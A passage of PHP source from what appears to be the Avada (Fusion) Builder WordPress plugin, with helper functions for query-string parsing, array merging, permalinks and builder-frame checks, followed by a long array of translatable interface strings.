if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Parse str without max input vars.
 *
 * @since 2.0
 * @param string $string The string we want to convert.
 * @param bool   $strip_slashes Decides if slashes should be stripped.
 * @return array
 */
function fusion_string_to_array( $string, $strip_slashes = true ) {

	// If already an array, return early.
	if ( is_array( $string ) ) {
		return wp_unslash( $string );
	}

	$string = $strip_slashes ? stripslashes( $string ) : $string;

	if ( empty( $string ) ) {
		return false;
	}

	$result = [];
	$pairs  = explode( '&', $string );

	foreach ( $pairs as $key => $pair ) {
		// Use the original parse_str() on each element.
		parse_str( $pair, $params );

		$k = key( $params );

		if ( ! isset( $result[ $k ] ) ) {
			$result += $params;
		} else {
			$result[ $k ] = fusion_array_merge_recursive( $result[ $k ], $params[ $k ] );
		}
	}

	return $result;
}

/**
 * Merge arrays without converting values with duplicate keys to arrays as array_merge_recursive does.
 *
 * @since 2.0
 * @author  harunbasic
 * @param   array $array1 The 1st array.
 * @param   array $array2 The 2nd array.
 * @return  array         The 2 arrays, merged.
 */
function fusion_array_merge_recursive( array $array1, array $array2 ) {
	$merged = $array1;

	foreach ( $array2 as $key => $value ) {
		if ( is_array( $value ) && isset( $merged[ $key ] ) && is_array( $merged[ $key ] ) ) {
			$merged[ $key ] = fusion_array_merge_recursive( $merged[ $key ], $value );
		} elseif ( is_numeric( $key ) && isset( $merged[ $key ] ) ) {
			$merged[] = $value;
		} else {
			$merged[ $key ] = $value;
		}
	}

	return $merged;
}

/**
 * Get front-edit permalink.
 *
 * @since 2.0
 * @param object $admin_bar Admin bar if available.
 * @return string
 */
function fusion_app_get_permalink( $admin_bar = false ) {
	global $post;

	$customize_url = '';

	if ( is_admin() ) {

		$page_id = get_the_ID();

		if ( $page_id ) {
			$customize_url = get_permalink( $page_id );
		}

		if ( ! $customize_url && is_object( $admin_bar ) ) {
			$view = $admin_bar->get_node( 'view' );
			if ( is_object( $view ) ) {
				$customize_url = $view->href;
			}
		}

		if ( ! $customize_url ) {
			$customize_url = home_url();
		}
	} else {

		$page_id = fusion_library()->get_page_id();
		$page_id = ( ! $page_id && isset( $post->ID ) ) ? $post->ID : $page_id;

		if ( is_home() && get_option( 'page_for_posts' ) === $page_id ) {

			// Blog page.
			$customize_url = get_permalink( $page_id );
		} elseif ( is_home() ) {
			$customize_url = home_url();
		} elseif ( is_tax() ) {
			$customize_url = get_term_link( get_query_var( 'term' ), get_query_var( 'taxonomy' ) );
		} elseif ( is_category() ) {
			$customize_url = get_category_link( get_queried_object_id() );
		} elseif ( is_tag() ) {
			$customize_url = get_tag_link( get_queried_object_id() );
		} elseif ( function_exists( 'tribe_get_events_link' ) && function_exists( 'tribe_is_events_home' ) && tribe_is_events_home() ) {
			$customize_url = tribe_get_events_link();
		} elseif ( true === fusion_should_add_fe_edit_link() ) {
			$customize_url = get_permalink( $page_id );
		}
	}

	$customize_url = is_wp_error( $customize_url ) ? false : $customize_url;

	return $customize_url;
}

/**
 * Checks if 'Fusion Edit' link should be added to admin toolbar.
 *
 * @since 2.0
 * @return bool
 */
function fusion_should_add_fe_edit_link() {
	if ( 0 === fusion_library()->get_page_id() || false === fusion_library()->get_page_id() || '0-archive' === fusion_library()->get_page_id() || is_preview_only() ) {
		return false;
	}

	return true;
}

/**
 * Are we on the builder frame?
 *
 * @since 2.0
 * @return bool
 */
function fusion_is_builder_frame() {
	if ( class_exists( 'Fusion_App' ) ) {
		$fusion_app = Fusion_App::get_instance();
		return $fusion_app->get_builder_status();
	}
	return false;
}

/**
 * Are we on the preview frame?
 *
 * @since 2.0
 * @return bool
 */
function fusion_is_preview_frame() {
	if ( class_exists( 'Fusion_App' ) ) {
		$fusion_app = Fusion_App::get_instance();
		return $fusion_app->get_preview_status();
	}
	return false;
}

/**
 * Check if app is only for preview.
 *
 * @since 1.0
 */
function is_preview_only() {
	if ( class_exists( 'Fusion_App' ) ) {
		$fusion_app = Fusion_App::get_instance();
		return $fusion_app->get_preview_only_status();
	}
	return false;
}

/**
 * Fusion app text strings.
 *
 * @since 1.0
 */
function fusion_app_textdomain_strings() {

	$fusion_settings = awb_get_fusion_settings();

	$text_strings = [

		'custom_css'                                  => esc_html__( 'Custom CSS', 'fusion-builder' ),
		'code_fields'                                 => esc_html__( 'Code Fields', 'fusion-builder' ),
		'custom_code'                                 => esc_html__( 'Custom Code', 'fusion-builder' ),
		'builder'                                     => esc_html__( 'Builder', 'fusion-builder' ),
		'library'                                     => esc_html__( 'Library', 'fusion-builder' ),
		'add_css_code_here'                           => esc_html__( 'Add your CSS code here...', 'fusion-builder' ),
		'delete_page_layout'                          => esc_html__( 'Delete page layout', 'fusion-builder' ),
		'undo'                                        => esc_html__( 'Undo', 'fusion-builder' ),
		'redo'                                        => esc_html__( 'Redo', 'fusion-builder' ),
		'save'                                        => esc_html__( 'Save', 'fusion-builder' ),
		'dont_save'                                   => esc_html__( 'Don\'t Save', 'fusion-builder' ),
		'leave'                                       => esc_html__( 'Save & Leave', 'fusion-builder' ),
		'just_leave'                                  => esc_html__( 'Just Leave', 'fusion-builder' ),
		'delete_item'                                 => esc_html__( 'Delete item', 'fusion-builder' ),
		'clone_item'                                  => esc_html__( 'Clone item', 'fusion-builder' ),
		'edit_item'                                   => esc_html__( 'Edit item', 'fusion-builder' ),
		/* translators: Element settings. */
		'custom_element_settings'                     => esc_html__( '%s Options', 'fusion-builder' ),
		'full_width_section'                          => esc_html__( 'Container', 'fusion-builder' ),
		'section_settings'                            => esc_html__( 'Container Options', 'fusion-builder' ),
		'insert_section'                              => esc_html__( 'Insert Container', 'fusion-builder' ),
		'clone_section'                               => esc_html__( 'Clone Container', 'fusion-builder' ),
		'save_section'                                => esc_html__( 'Save Container', 'fusion-builder' ),
		'delete_section'                              => esc_html__( 'Delete Container', 'fusion-builder' ),
		'builder_sections'                            => esc_html__( 'Builder Containers', 'fusion-builder' ),
		'click_to_toggle'                             => esc_html__( 'Click to toggle', 'fusion-builder' ),
		'save_custom_section'                         => esc_html__( 'Save Custom Container', 'fusion-builder' ),
		'save_custom_template'                        => esc_html__( 'Save Custom Template', 'fusion-builder' ),
		'save_custom_section_info'                    => esc_html__( 'Custom containers will be stored and managed on the Library tab', 'fusion-builder' ),
		'enter_name'                                  => esc_html__( 'Enter Name...', 'fusion-builder' ),
		'column'                                      => esc_html__( 'Column', 'fusion-builder' ),
		'columns'                                     => esc_html__( 'Columns', 'fusion-builder' ),
		'resize_column'                               => esc_html__( 'Resize column', 'fusion-builder' ),
		'resized_column'                              => esc_html__( 'Resized Column to', 'fusion-builder' ),
		'column_library'                              => esc_html__( 'Column Options', 'fusion-builder' ),
		'save_column'                                 => esc_html__( 'Save column', 'fusion-builder' ),
		'delete_column'                               => esc_html__( 'Delete column', 'fusion-builder' ),
		'delete_row'                                  => esc_html__( 'Delete row', 'fusion-builder' ),
		'clone_column'                                => esc_html__( 'Clone column', 'fusion-builder' ),
		'save_custom_column'                          => esc_html__( 'Save Custom Column', 'fusion-builder' ),
		'save_custom_column_info'                     => esc_html__( 'Custom elements will be stored and managed on the Library tab', 'fusion-builder' ),
		'add_element'                                 => esc_html__( 'Add element', 'fusion-builder' ),
		'element'                                     => esc_html__( 'Element', 'fusion-builder' ),
		'insert_columns'                              => esc_html__( 'Insert Columns', 'fusion-builder' ),
		'search'                                      => esc_html__( 'Search', 'fusion-builder' ),
		'search_elements'                             => esc_html__( 'Search Elements', 'fusion-builder' ),
		'search_containers'                           => esc_html__( 'Search Containers', 'fusion-builder' ),
		'search_columns'                              => esc_html__( 'Search Columns', 'fusion-builder' ),
		'builder_columns'                             => esc_html__( 'Builder Columns', 'fusion-builder' ),
		'library_columns'                             => esc_html__( 'Library Columns', 'fusion-builder' ),
		'library_sections'                            => esc_html__( 'Library Containers', 'fusion-builder' ),
		'cancel'                                      => esc_html__( 'Cancel', 'fusion-builder' ),
		'select_element'                              => esc_html__( 'Select Element', 'fusion-builder' ),
		'builder_elements'                            => esc_html__( 'Design Elements', 'fusion-builder' ),
		'layout_section_elements'                     => esc_html__( 'Layout Elements', 'fusion-builder' ),
		'form_elements'                               => esc_html__( 'Form Elements', 'fusion-builder' ),
		'library_elements'                            => esc_html__( 'Library Elements', 'fusion-builder' ),
		'generator_elements_tooltip'                  => esc_html__( 'Inline element for usage inside of other elements.', 'fusion-builder' ),
		'template_max_use_limit'                      => esc_html__( 'This element can be added only', 'fusion-builder' ),
		'time'                                        => esc_html__( 'time.', 'fusion-builder' ),
		'times'                                       => esc_html__( 'times.', 'fusion-builder' ),
		'inner_columns'                               => esc_html__( 'Nested Columns', 'fusion-builder' ),
		'element_settings'                            => esc_html__( 'Element Options', 'fusion-builder' ),
		'clone_element'                               => esc_html__( 'Clone Element', 'fusion-builder' ),
		'save_element'                                => esc_html__( 'Save Element', 'fusion-builder' ),
		'save_global'                                 => esc_html__( 'Save As Global', 'fusion-builder' ),
		'delete_element'                              => esc_html__( 'Delete Element', 'fusion-builder' ),
		'save_custom_element'                         => esc_html__( 'Save Custom Element', 'fusion-builder' ),
		'save_custom_element_info'                    => esc_html__( 'Custom elements will be stored and managed on the Library tab', 'fusion-builder' ),
		'add_edit_items'                              => esc_html__( 'Add / Edit Items', 'fusion-builder' ),
		'sortable_items_info'                         => esc_html__( 'Add or edit new items for this element. Drag and drop them into the desired order.', 'fusion-builder' ),
		'clone_inner_columns'                         => esc_html__( 'Clone inner columns', 'fusion-builder' ),
		'save_inner_columns'                          => esc_html__( 'Save inner columns', 'fusion-builder' ),
		'delete_inner_columns'                        => esc_html__( 'Delete inner columns', 'fusion-builder' ),
		'save_nested_columns'                         => esc_html__( 'Save Nested Columns', 'fusion-builder' ),
		'select_options_or_leave_blank_for_all'       => esc_html__( 'Select or Leave Blank for All', 'fusion-builder' ),
		'select_or_leave_blank_for_global'            => esc_html__( 'Select or Leave Blank for Global', 'fusion-builder' ),
		'select_categories_or_leave_blank_for_all'    => esc_html__( 'Select or Leave Blank for All', 'fusion-builder' ),
		'select_categories_or_leave_blank_for_none'   => esc_html__( 'Select or Leave Blank for None', 'fusion-builder' ),
		'select_post_status_leave_blank_for_publish'  => esc_html__( 'Select or Leave Blank for Published', 'fusion-builder' ),
		'please_enter_element_name'                   => esc_html__( 'Please enter element name', 'fusion-builder' ),
		'are_you_sure_you_want_to_delete_this_layout' => esc_html__( 'You are about to remove all page layout. Do you still want to proceed?', 'fusion-builder' ),
		'are_you_sure_you_want_to_delete_this'        => esc_html__( 'Are you sure you want to delete this ?', 'fusion-builder' ),
		'are_you_sure_you_want_to_delete_global'      => esc_html__( 'This is a global item. Deleting this element will remove it from every page you have it on. Are you sure you want to remove it?', 'fusion-builder' ),
		'global_element'                              => __( 'Global element<br>Click to disable global status', 'fusion-builder' ),
		'global_column'                               => __( 'Global column<br>Click to disable global status', 'fusion-builder' ),
		'global_container'                            => __( 'Global container<br>Click to disable global status', 'fusion-builder' ),
		'duplicate_element_name_error'                => esc_html__( 'An element with this name already exists. Please enter different name.', 'fusion-builder' ),
		'please_enter_template_name'                  => esc_html__( 'Please enter template name', 'fusion-builder' ),
		'save_page_layout'                            => esc_html__( 'Save page layout', 'fusion-builder' ),
		'upload'                                      => esc_html__( 'Upload', 'fusion-builder' ),
		'upload_image'                                => esc_html__( 'Upload Image', 'fusion-builder' ),
		'upload_audio'                                => esc_html__( 'Upload Audio', 'fusion-builder' ),
		'edit'                                        => esc_html__( 'Edit', 'fusion-builder' ),
		'attach_images'                               => esc_html__( 'Attach Images to Gallery', 'fusion-builder' ),
		'insert'                                      => esc_html__( 'Insert', 'fusion-builder' ),
		'avada_studio'                                => esc_html__( 'Avada Studio', 'fusion-builder' ),
		'to_get_started'                              => esc_html__( 'To get started, add a Container, or add a prebuilt page.', 'fusion-builder' ),
		'to_get_started_header'                       => esc_html__( 'To get started, add a Container, or add a prebuilt header.', 'fusion-builder' ),
		'to_get_started_content'                      => esc_html__( 'To get started, add a Container, or add prebuilt content.', 'fusion-builder' ),
		'to_get_started_ptb'                          => esc_html__( 'To get started building your Page Title Bar, add a container.', 'fusion-builder' ),
		'to_get_started_footer'                       => esc_html__( 'To get started building your Footer, add a container.', 'fusion-builder' ),
		'to_get_started_form'                         => esc_html__( 'To get started building your Form, add a container.', 'fusion-builder' ),
		'to_get_started_off_canvas'                   => esc_html__( 'To get started building your Off Canvas, add a container.', 'fusion-builder' ),
		'to_get_started_mega_menus'                   => esc_html__( 'To get started, add a Container, or add a prebuilt mega menu.', 'fusion-builder' ),
		'to_get_started_sub'                          => esc_html__( 'The building process always starts with a container, then columns, then elements.', 'fusion-builder' ),
		'watch_the_video'                             => esc_html__( 'Watch The Video!', 'fusion-builder' ),
		'edit_settings'                               => esc_html__( 'Edit Settings', 'fusion-builder' ),
		'backward_history'                            => esc_html__( 'Backward History', 'fusion-builder' ),
		'duplicate_content'                           => esc_html__( 'Duplicate Content', 'fusion-builder' ),
		'forward_history'                             => esc_html__( 'Forward History', 'fusion-builder' ),
		'save_custom_content'                         => esc_html__( 'Save Custom Content', 'fusion-builder' ),
		'delete_content'                              => esc_html__( 'Delete Content', 'fusion-builder' ),
		'add_content'                                 => esc_html__( 'Add Content', 'fusion-builder' ),
		'additional_docs'                             => esc_html__( 'Click the ? icon to access Avada documentation', 'fusion-builder' ),
		'getting_started_video'                       => esc_html__( 'Getting Started Video', 'fusion-builder' ),
		'icon_control_description'                    => esc_html__( 'Icon Control Descriptions:', 'fusion-builder' ),
		'history'                                     => esc_html__( 'History', 'fusion-builder' ),
		'collapse_sections'                           => esc_html__( 'Collapse Sections', 'fusion-builder' ),
		'history_states'                              => esc_html__( 'History States', 'fusion-builder' ),
		'empty'                                       => esc_html__( 'Start', 'fusion-builder' ),
		'moved_column'                                => esc_html__( 'Moved Column', 'fusion-builder' ),
		'added_custom_element'                        => esc_html__( 'Added Custom Element: ', 'fusion-builder' ),
		'added_custom_column'                         => esc_html__( 'Added Custom Column: ', 'fusion-builder' ),
		'added_columns'                               => esc_html__( 'Added Columns', 'fusion-builder' ),
		'added_custom_section'                        => esc_html__( 'Added Custom Container: ', 'fusion-builder' ),
		'added_studio_element'                        => esc_html__( 'Added Studio Element: ', 'fusion-builder' ),
		'added_studio_column'                         => esc_html__( 'Added Studio Column: ', 'fusion-builder' ),
		'added_studio_section'                        => esc_html__( 'Added Studio Container: ', 'fusion-builder' ),
		'added_special_item'                          => esc_html__( 'Added Special Item: ', 'fusion-builder' ),
		'deleted'                                     => esc_html__( 'Deleted', 'fusion-builder' ),
		'cloned'                                      => esc_html__( 'Cloned', 'fusion-builder' ),
		'pasted'                                      => esc_html__( 'Pasted', 'fusion-builder' ),
		'moved'                                       => esc_html__( 'Moved', 'fusion-builder' ),
		'edited'                                      => esc_html__( 'Edited', 'fusion-builder' ),
		'invert'                                      => esc_html__( 'Invert', 'fusion-builder' ),
		'reset_to_default'                            => esc_html__( 'Reset to Default', 'fusion-builder' ),
		'added_nested_columns'                        => esc_html__( 'Added Nested Columns', 'fusion-builder' ),
		'edited_nested_columns'                       => esc_html__( 'Edited Nested Columns', 'fusion-builder' ),
		'deleted_nested_columns'                      => esc_html__( 'Deleted Nested Columns', 'fusion-builder' ),
		'moved_nested_column'                         => esc_html__( 'Moved Nested Column', 'fusion-builder' ),
		'head_title'                                  => esc_html__( 'Head Title', 'fusion-builder' ),
		'currency'                                    => esc_html__( 'Currency', 'fusion-builder' ),
		'price'                                       => esc_html__( 'Price', 'fusion-builder' ),
		'period'                                      => esc_html__( 'Period', 'fusion-builder' ),
		'enter_text'                                  => esc_html__( 'Enter Text', 'fusion-builder' ),
		'added'                                       => esc_html__( 'Added', 'fusion-builder' ),
		'added_section'                               => esc_html__( 'Added Container', 'fusion-builder' ),
		'cloned_nested_columns'                       => esc_html__( 'Cloned Nested Columns', 'fusion-builder' ),
		'content_imported'                            => esc_html__( 'Content Imported', 'fusion-builder' ),
		'table_intro'                                 => esc_html__( 'Visually create your table below, add or remove rows and columns', 'fusion-builder' ),
		'add_table_column'                            => esc_html__( 'Add Column', 'fusion-builder' ),
		'add_table_row'                               => esc_html__( 'Add Row', 'fusion-builder' ),
		'column_title'                                => esc_html__( 'Column', 'fusion-builder' ),
		'standout_design'                             => esc_html__( 'Standout', 'fusion-builder' ),
		'add_button'                                  => esc_html__( 'Add Button', 'fusion-builder' ),
		'yes'                                         => esc_html__( 'Yes', 'fusion-builder' ),
		'no'                                          => esc_html__( 'No', 'fusion-builder' ),
		'table_options'                               => esc_html__( 'Table Options', 'fusion-builder' ),
		'table'                                       => esc_html__( 'Table', 'fusion-builder' ),
		'toggle_all_sections'                         => esc_html__( 'Toggle All Containers', 'fusion-builder' ),
		'cloned_section'                              => esc_html__( 'Cloned Container', 'fusion-builder' ),
		'deleted_section'                             => esc_html__( 'Deleted Container', 'fusion-builder' ),
		'image'                                       => esc_html__( 'Image', 'fusion-builder' ),
		'audio'                                       => esc_html__( 'Audio', 'fusion-builder' ),
		'select_image'                                => esc_html__( 'Select Image', 'fusion-builder' ),
		'select_images'                               => esc_html__( 'Select Images', 'fusion-builder' ),
		'select_video'                                => esc_html__( 'Select Video', 'fusion-builder' ),
		'select_audio'                                => esc_html__( 'Select Audio', 'fusion-builder' ),
		'select_icon'                                 => esc_html__( 'Select Icon', 'fusion-builder' ),
		'search_icons'                                => esc_html__( 'Search Icons', 'fusion-builder' ),
		'empty_section'                               => esc_html__( 'To Add Elements, You Must First Add a Column', 'fusion-builder' ),
		'empty_section_with_bg'                       => esc_html__( 'This is an empty container with a background image. To add elements, you must first add a column', 'fusion-builder' ),
		'required'                                    => esc_html__( 'Required', 'fusion-builder' ),
		'add_new_option'                              => esc_html__( 'Add New Option', 'fusion-builder' ),
		'add_new_logic'                               => esc_html__( 'Add New Logic', 'fusion-builder' ),
		'no_logic_field'                              => esc_html__( 'There are no fields available for conditional logic.', 'fusion-builder' ),
		'condition_value'                             => esc_html__( 'Condition Value', 'fusion-builder' ),
		'logic_separator_text'                        => esc_html__( 'OR', 'fusion-builder' ),
		'option_label'                                => esc_html__( 'Label', 'fusion-builder' ),
		'option_field'                                => esc_html__( 'Field', 'fusion-builder' ),
		'select_field'                                => esc_html__( 'Select Field', 'fusion-builder' ),
		'option_value'                                => esc_html__( 'Value', 'fusion-builder' ),
		'bulk_add_button'                             => esc_html__( 'Bulk / Predefined', 'fusion-builder' ),
		'option_show_values'                          => esc_html__( 'Show values', 'fusion-builder' ),
		'bulk_add_instructions'                       => esc_html__( 'Select a predefined list or paste your own list bulk add choices.', 'fusion-builder' ),
		'bulk_add'                                    => esc_html__( 'Bulk Add', 'fusion-builder' ),
		'bulk_add_predefined'                         => esc_html__( 'Predefined Choices', 'fusion-builder' ),
		'bulk_add_insert_choices'                     => esc_html__( 'Insert Choices', 'fusion-builder' ),
		/* translators: Child element name. */
		'empty_parent'                                => esc_html__( 'Empty %s element, please add child elements here.', 'fusion-builder' ),
		'post_views_counter_disabled'                 => esc_html__( 'The views counter option is disabled. Enable it in the global options to use this element.', 'fusion-builder' ),
		'to_add_images'                               => esc_html__( 'To add images to this post or page for attachments layout, navigate to "Upload Files" tab in media manager and upload new images.', 'fusion-builder' ),
		'importing_single_page'                       => esc_html__( 'WARNING: Importing a single prebuilt page will remove all other page content, Avada Page Options and page template. Avada Global Options and images are not imported. Click OK to continue or cancel to stop.', 'fusion-builder' ),
		'content_error_title'                         => esc_html__( 'Content Error', 'fusion-builder' ),
		/* translators: Link URL. */
		'content_error_description'                   => sprintf( __( 'Your page content could not be displayed as an Avada Builder layout. Most likely that means, there is some invalid markup or shortcode in it. Please check the contents in the text editor. <a href="%s" target="_blank">See here for more information</a>.', 'fusion-builder' ), 'https://avada.com/documentation/how-to-fix-page-content-not-parsable-avada-builder/' ),
		'unknown_error_title'                         => esc_html__( 'Unknown Error Occurred', 'fusion-builder' ),
		/* translators: Link URL. */
		'unknown_error_link'                          => sprintf( __( '<a href="%s" target="_blank">Click here to learn more.</a>', 'fusion-builder' ), '#' ),
		'unknown_error_copy'                          => esc_html__( 'Click here to copy the full error message.', 'fusion-builder' ),
		'unknown_error_copied'                        => esc_html__( 'Full error message copied.', 'fusion-builder' ),
		'moved_container'                             => esc_html__( 'Moved Container', 'fusion-builder' ),
		'currency_before'                             => esc_html__( 'Before', 'fusion-builder' ),
		'currency_after'                              => esc_html__( 'After', 'fusion-builder' ),
		'delete_nextpage'                             => esc_html__( 'Delete Next Page Divider', 'fusion-builder' ),
		'toggle_element'                              => esc_html__( 'Toggle Element', 'fusion-builder' ),
		'drag_element'                                => esc_html__( 'Drag Element', 'fusion-builder' ),
		'deleted_nextpage'                            => esc_html__( 'Deleted Next Page Divider', 'fusion-builder' ),
		'deleted_checkout_form'                       => esc_html__( 'Deleted Checkout Form Divider', 'fusion-builder' ),
		'added_nextpage'                              => esc_html__( 'Added Next Page Divider', 'fusion-builder' ),
		'nextpage'                                    => esc_html__( 'Next Page', 'fusion-builder' ),
		'checkout_form'                               => esc_html__( 'Checkout Form', 'fusion-builder' ),
		'form_step'                                   => esc_html__( 'Form Step', 'fusion-builder' ),
		'deleted_form_step'                           => esc_html__( 'Deleted Form Step', 'fusion-builder' ),
		'delete_form_step'                            => esc_html__( 'Delete Form Step', 'fusion-builder' ),
		'added_form_step'                             => esc_html__( 'Added Form Step', 'fusion-builder' ),
		/* translators: %s - The number of the step. */
		'singular_form_step'                          => esc_html( _n( 'Step %s', 'Step %s', 1, 'fusion-builder' ) ),
		/* translators: %s - The number of the step. */
		'plural_form_step'                            => esc_html( _n( 'Step %s', 'Step %s', 2, 'fusion-builder' ) ),
		'library_misc'                                => esc_html__( 'Special', 'fusion-builder' ),
		'special_title'                               => esc_html__( 'Special Items', 'fusion-builder' ),
		'form_step_description'                       => esc_html__( 'The form step item allows you to break your form into several steps. Simply insert it onto the form, and form steps will show on the frontend.', 'fusion-builder' ),
		'next_page_description'                       => esc_html__( 'The next page item allows you to break your page into several pages. Simply insert it onto the page, and automatic pagination will show on the frontend.', 'fusion-builder' ),
		'checkout_form_description'                   => esc_html__( 'The checkout form items allows you to add opening and closing WooCommerce checkout form tags.', 'fusion-builder' ),
		'select_link'                                 => esc_html__( 'Select Link', 'fusion-builder' ),
		'color_palette_options'                       => esc_html__( 'Color palette options', 'fusion-builder' ),
		'background_color'                            => esc_html__( 'Background Color', 'fusion-builder' ),
		'border_color'                                => esc_html__( 'Border Color', 'fusion-builder' ),
		'legend_text_color'                           => esc_html__( 'Legend Value Text Color', 'fusion-builder' ),
		'legend_label'                                => esc_html__( 'Legend Label', 'fusion-builder' ),
		'x_axis_label'                                => esc_html__( 'X Axis Label', 'fusion-builder' ),
		/* translators: Toggle column width option. */
		'toggle_column_custom_width'                  => esc_html__( 'Use Custom Width', 'fusion-builder' ),
		'toggle_column_default_widths'                => esc_html__( 'Use Preset Sizes', 'fusion-builder' ),
		/* translators: Search type. */
		'search_placeholder'                          => esc_html__( 'Search %s', 'fusion-builder' ),
		'chart_bg_color_title'                        => esc_html__( 'Chart Background Color', 'fusion-builder' ),
		/* translators: Default value description & value. */
		'chart_bg_color_desc'                         => sprintf( __( 'Controls the background of the chart. %s', 'fusion-builder' ), $fusion_settings->get_default_description( 'chart_bg_color', '', 'color-alpha', true, '' ) ),
		'chart_axis_text_color_title'                 => esc_html__( 'Chart Axis Text Color', 'fusion-builder' ),
		/* translators: Default value description & value. */
		'chart_axis_text_color_desc'                  => sprintf( __( 'Controls the text color of the x-axis and y-axis. %s', 'fusion-builder' ), $fusion_settings->get_default_description( 'chart_axis_text_color', '', 'color-alpha', true, '' ) ),
		'chart_gridline_color_title'                  => esc_html__( 'Chart Gridline Color', 'fusion-builder' ),
		/* translators: Default value description & value. */
		'chart_gridline_color_desc'                   => sprintf( __( 'Controls the color of the chart background grid lines and values. %s', 'fusion-builder' ), $fusion_settings->get_default_description( 'chart_gridline_color', '', 'color-alpha', true, '' ) ),
		'chart_padding_title'                         => esc_html__( 'Chart Padding Options', 'fusion-builder' ),
		'chart_padding_desc'                          => esc_html__( 'Controls the top/right/bottom/left padding of the chart.', 'fusion-builder' ),
		'chart_options'                               => esc_html__( 'Chart Options', 'fusion-builder' ),
		'chart'                                       => esc_html__( 'Chart Data', 'fusion-builder' ),
		'chart_border_size_heading'                   => esc_html__( 'Border Size', 'fusion-builder' ),
		'chart_border_size_desc '                     => esc_html__( 'Set chart border size in pixels.', 'fusion-builder' ),
		'chart_intro'                                 => esc_html__( 'Visually create your chart data below, add or remove data sets and their styling', 'fusion-builder' ),
		'chart_intro_fe'                              => esc_html__( 'Visually create your chart data below', 'fusion-builder' ),
		'chart_bars_note'                             => __( '<strong>IMPORTANT NOTE:</strong> If you are using a <strong>Bar</strong> or <strong>Horizontal Bar Chart</strong>, the table interface below and available options will change depending on the number of datasets added. This setup is needed in order to ensure maximum flexibility for your chart styling.', 'fusion-builder' ),
		'add_chart_column'                            => esc_html__( '+ Add Value Column', 'fusion-builder' ),
		'add_chart_row'                               => esc_html__( '+ Add Data Set', 'fusion-builder' ),
		'chart_dataset'                               => esc_html__( 'Data Set', 'fusion-builder' ),
		'chart_dataset_styling'                       => esc_html__( 'Data Set Styling', 'fusion-builder' ),
		'chart_value_set_styling'                     => esc_html__( 'Value Set Styling', 'fusion-builder' ),
		'chart_table_button_desc'                     => esc_html__( 'Build your chart data visually', 'fusion-builder' ),
		'chart_table_button_text'                     => esc_html__( 'Edit Chart Data Table', 'fusion-builder' ),
		'user_login_register_note'                    => esc_html__( 'Registration confirmation will be emailed to you.', 'fusion-builder' ),
		'are_you_sure_you_want_to_remove_global'      => esc_html__( 'Are you sure you want to remove global property?', 'fusion-builder' ),
		'remove_global'                               => esc_html__( 'Remove Global?', 'fusion-builder' ),
		'removed_global'                              => esc_html__( 'Removed Global Status', 'fusion-builder' ),
		'container_draft'                             => esc_html__( 'Draft container.', 'fusion-builder' ),
		'container_scheduled'                         => esc_html__( 'Scheduled container.', 'fusion-builder' ),
		'container_publish'                           => esc_html__( 'Click to remove sheduling.', 'fusion-builder' ),
		'are_you_sure_you_want_to_publish'            => esc_html__( 'Are you sure you want to remove sheduling? This will set the container to be a normally published element.', 'fusion-builder' ),
		'container_published'                         => esc_html__( 'Container published.', 'fusion-builder' ),
		'on'                                          => esc_html__( 'On', 'fusion-builder' ),
		'off'                                         => esc_html__( 'Off', 'fusion-builder' ),
		'get_started_video'                           => esc_html__( 'Watch Our Get Started Video', 'fusion-builder' ),
		'get_started_video_description'               => esc_html__( 'Do you need a helping hand? Let us guide you.', 'fusion-builder' ),
		'watch_the_video_link'                        => esc_html__( 'Watch The Video', 'fusion-builder' ),
		'fusion_builder_docs'                         => esc_html__( 'Avada Builder Docs', 'fusion-builder' ),
		'fusion_builder_docs_description'             => esc_html__( 'Videos not for you? That\'s ok! We have you covered.', 'fusion-builder' ),
		'fusion_panel_desciption_toggle'              => esc_html__( 'Toggle Description', 'fusion-builder' ),
		'fusion_panel_responsive_toggle'              => esc_html__( 'Toggle Responsive Options', 'fusion-builder' ),
		'fusion_panel_state_toggle'                   => esc_html__( 'Toggle State Options', 'fusion-builder' ),
		'fusion_panel_default_state'                  => esc_html__( 'Default State', 'fusion-builder' ),
		'fusion_dimension_top_label'                  => esc_html__( 'Top', 'fusion-builder' ),
		'fusion_dimension_bottom_label'               => esc_html__( 'Bottom', 'fusion-builder' ),
		'fusion_dimension_left_label'                 => esc_html__( 'Left', 'fusion-builder' ),
		'fusion_dimension_right_label'                => esc_html__( 'Right', 'fusion-builder' ),
		'fusion_dimension_height_label'               => esc_html__( 'Height', 'fusion-builder' ),
		'fusion_dimension_width_label'                => esc_html__( 'Width', 'fusion-builder' ),
		'fusion_dimension_top_left_label'             => esc_html__( 'Top/Left', 'fusion-builder' ),
		'fusion_dimension_top_right_label'            => esc_html__( 'Top/Right', 'fusion-builder' ),
		'fusion_dimension_bottom_left_label'          => esc_html__( 'Bot/Left', 'fusion-builder' ),
		'fusion_dimension_bottom_right_label'         => esc_html__( 'Bot/Right', 'fusion-builder' ),
		'fusion_dimension_all_label'                  => esc_html__( 'All', 'fusion-builder' ),
		'fusion_dimension_horizontal'                 => esc_html__( 'Horizontal', 'fusion-builder' ),
		'fusion_dimension_vertical'                   => esc_html__( 'Vertical', 'fusion-builder' ),
		'fusion_dimension_column'                     => esc_html__( 'Column', 'fusion-builder' ),
		'fusion_dimension_row'                        => esc_html__( 'Row', 'fusion-builder' ),
		'confirm'                                     => esc_html__( 'Confirm', 'fusion-builder' ),
		'unsaved_changes'                             => esc_html__( 'Unsaved Changes', 'fusion-builder' ),
		'changes_will_be_lost'                        => esc_html__( 'Your changes will be lost, do you want to save changes before leaving?', 'fusion-builder' ),
		'reset'                                       => esc_html__( 'Reset', 'fusion-builder' ),
		'reset_element_options'                       => esc_html__( 'Reset to Defaults', 'fusion-builder' ),
		'reset_element_options_confirmation'          => esc_html__( 'Are you sure you want to reset this element\'s options to default?', 'fusion-builder' ),
		'remove_element_options_confirmation'         => esc_html__( 'Are you sure you want to delete this element?', 'fusion-builder' ),
		'i_agree'                                     => esc_html__( 'I Agree', 'fusion-builder' ),
		'are_you_sure'                                => esc_html__( 'Are You Sure?', 'fusion-builder' ),
		'im_sure'                                     => esc_html__( 'I\'m sure', 'fusion-builder' ),
		'ok'                                          => esc_html__( 'Ok', 'fusion-builder' ),
		'import_demo_page'                            => esc_html__( 'Import Prebuilt Website Page', 'fusion-builder' ),
		'import_demo_layout'                          => esc_html__( 'Import Prebuilt Website Layout', 'fusion-builder' ),
		'extended_options'                            => esc_html__( 'Extended options', 'fusion-builder' ),
		'align_text'                                  => esc_html__( 'Align text', 'fusion-builder' ),
		'align_left'                                  => esc_html__( 'Align left', 'fusion-builder' ),
